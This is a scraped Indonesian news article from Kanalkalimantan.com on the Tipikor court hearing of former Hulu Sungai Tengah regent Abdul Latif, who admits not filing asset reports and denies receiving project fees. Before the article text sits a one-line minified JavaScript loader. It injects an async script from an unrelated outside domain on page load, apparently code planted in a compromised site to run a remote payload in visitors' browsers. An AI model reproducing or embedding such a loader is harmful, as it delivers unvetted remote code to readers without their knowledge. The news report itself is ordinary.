(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Terdakwa kasus suap dan pencucian uang mantan Bupati Hulu Sungai Tengah (HST) Abdul Latif mengaku tidak pernah membuat Laporan Harta Kekayaan Pejabat Negara (LHKPN) saat menjabat sebagai bupati.
Hal itu terkuak dalam sidang pemeriksaan terdakwa di Pengadilan Tindak Pidana Korupsi (Tipikor) Banjarmasin, Rabu (2/8/2023) siang.
Abdul Latif mengaku hanya pernah dua kali melaporkan harta kekayaan yaitu saat menjabat sebagai Ketua DPRD Kabupaten HST pada tahun 2004 dan saat menjadi Anggota DPRD Provinsi Kalsel pada tahun 2015.
“Saat jadi bupati tidak ada lapor,” aku terdakwa saat persidangan.
Padahal, mengacu pada Undang-Undang Nomor 28 tahun 1999 tentang penyelenggaraan negara yang bersih dan bebas dari korupsi, kolusi, dan nepotisme, semua pejabat negara termasuk bupati wajib melaporkan harta kekayaan yang dimiliki kepada KPK.
Baca juga: Curhat Emak-emak Air PTAM Intan Banjar Tak Ngalir, Selebgram Alint ‘Ngamuk’ di Medsos
Baca juga: UI GreenCityMetric 2023, Banjarbaru 10 Kota Paling Berkelanjutan di Indonesia
Alasan Latif tidak melaporkan harta kekayaan ke LHKPN karena ketika menjadi Anggota DPRD Kalsel tahun 2015 sudah melaporkannya, sehingga ia merasa tidak perlu lagi untuk melaporkannya saat jadi Bupati HST 2016-2017.
Sementara itu, pada persidangan pemeriksaan Abdul Latif melalui penasehat hukum menyerahkan catatan keuangan dan rekening koran pribadi dan perusahaan PT Subriwa Agung kepada majelis hakim Pengadilan Tipikor Banjarmasin.
Dokumen berupa surat tebal ribuan halaman tersebut diserahkan terdakwa meskipun tanpa diminta oleh majelis hakim sebelumnya.
“Izinkan saya menyerahkan dokumen bukti otentik penjelasan sumber harta 2010-2017 dan menyerahkan semua rekening koran, baik pribadi dan perusahaan,” kata Abdul Latif kepada majelis hakim yang diketuai Jamser Simanjuntak.
Dalam persidangan pemeriksaan terdakwa, Latif membantah segala kesaksian yang mengatakan dirinya mendapatkan fee proyek dari saksi Fauzan Rifani (pengumpul fee proyek).
Baca juga: EO Konser Gagal di Banjarbaru Dilaporkan ke Polda Kalsel, Pemodal Rugi Rp1,1 Miliar
Latif hanya mengaku pernah memerintah saksi Fauzan Rifani selaku Ketua Kadin HST untuk meminta sumbangan ke para kontraktor yang mendapatkan proyek di Kabupaten HST untuk keperluan Kadin.
“Fauzan bilang Kadin tidak punya duit, saya bilang minta bantuan ke teman-teman yang dapat pekerjaan (kontraktor), jadi siapa yang menang lelang diminta sumbangan,” ujar Latif.
Abdul Latif sebelumnya didakwa JPU KPK melakukan tindak pidana gratifikasi dan pencucian uang saat menjabat Bupati HST 2016-2017 sebesar Rp41 miliar.
Dalam dakwaan, JPU memasang pasal berlapis, pertama pasal 12B Jo pasal 18 Undang-Undang Nomor 31 tahun 1999 sebagaimana diubah dengan Undang-Undang Nomor 20 tahun 2001 tentang pemberantasan Tipikor.
Kemudian dakwaan kedua pasal 3 Undang-Undang Nomor 8 tahun 2010 tentang pemberantasan Tindak Pidana Pencucian Uang (TPPU). (Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More
KANALKALIMANTAN. COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menggali keterangan dari empat saksi dalam kasus… Read More
KANALKALIMANTAN.COM, BANJARBARU - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan (Kalsel) mengungkap sejumlah kasus… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More
KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More
KANALKALIMANTAN.COM, BANJARBARU – Sejumlah Tempat Pemungutan Suara (TPS) di Kota Banjarbaru masuk pemetaan potensi kerawanan… Read More
This website uses cookies.